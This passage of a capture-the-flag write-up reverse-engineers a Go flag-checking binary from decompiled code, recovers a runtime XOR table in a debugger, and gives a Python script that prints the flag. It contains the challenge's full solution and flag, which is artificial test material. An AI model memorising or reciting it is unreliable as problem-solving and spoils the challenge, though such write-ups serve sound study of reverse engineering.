  v35 = runtime_concatstring2(
          0,
          (unsigned int)"Correct!! Here is your flag: ",
          29,
          v17->ptr,
          len,
          v13,
          v14,
          (_DWORD)v15,
          v16,
          v52,
          v58,
          v61,
          v63,
          v65);
```
Analyzing: First it checks the length of our flag
```c=
if ( p_string->len != 51 )
  {
    v73[0] = &RTYPE_string;
    v73[1] = &off_4DBC00;
    v8 = os_Stdout;
```
And a loop to check our flag. If it's pass, we can get the flag. I will step by step into the for loop:
1. ```v25``` stores the value in index ```i``` of our input (I called it p_string)
2. ```v26``` can be considered as a list with integer in range (0,32). The ```if``` after just check if ```v26``` exceeded the range limit.
3. ```v15``` seems like challenge author if you decode it. This will be a key for the next stages.
4. ```v27``` stores the result of XOR between ```aYxv0ag9ybm9vym[i]``` and ```p_string[i]```. But what is ```aYxv0ag9ybm9vym```? It's has the same value with ```v15``` I talked before
5. ```v13``` equals to some ```v69[8 * i - 8]```. We didn't know what it is
6. Checks the condition if ```v13``` is equal to ```v27```. If all character (there are 51) of our input passed, we can get our flag. 

So the problem is, where is ```v69```? First, let's see how it was initialized:
```c
char v69[72]; // [rsp+48h] [rbp-1F0h] BYREF
```

our ```v69``` will be some result of some function, which is only return value when the program is running. So let's run and see:

![image](https://hackmd.io/_uploads/S1OXOHzRC.png)
![image](https://hackmd.io/_uploads/Hk_VdSGAC.png)

So after each 8 bytes, like ```8 * i - 8``` index of ```v69``` before, we can now know how ```v69``` is. Now just need to write down, xor back with ```v15``` then we can get the flag
Script: 
```python=
v69 = [0x12, 0x1b, 0x5, 0x73, 0x1a, 0x70, 0x51, 0x48, 0x57, 0x32, 0x8, 0x43, 0x6, 0x5e, 0x5, 0x5d, 0x1b, 0x5b, \
                0x5, 0x19, 0x6e, 0x0, 0x7c, 0x29, 0x1, 0x3f, 0x40, 0x6, 0x0f, 0x1, 0x23, 0xb, 0x6a, 0x7, 0x61, 0x55, 0x0, 0x75, 0x5d, \
                0x18, 0x53, 0x5a, 0x66, 0x4a, 0x6a, 0x51, 0x2, 0x49, 0x43, 0x4c, 0x48, 0x70]
v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M="

input_str = ""
for i in range(51):
        input_str += chr(ord(v15[i % 32]) ^ v69[i])
print(input_str)
```

**Flag: ```KCSC{7h15_15_345y60l4n6_ch4ll3n63_7ea2da17_<3<3!!!}```**
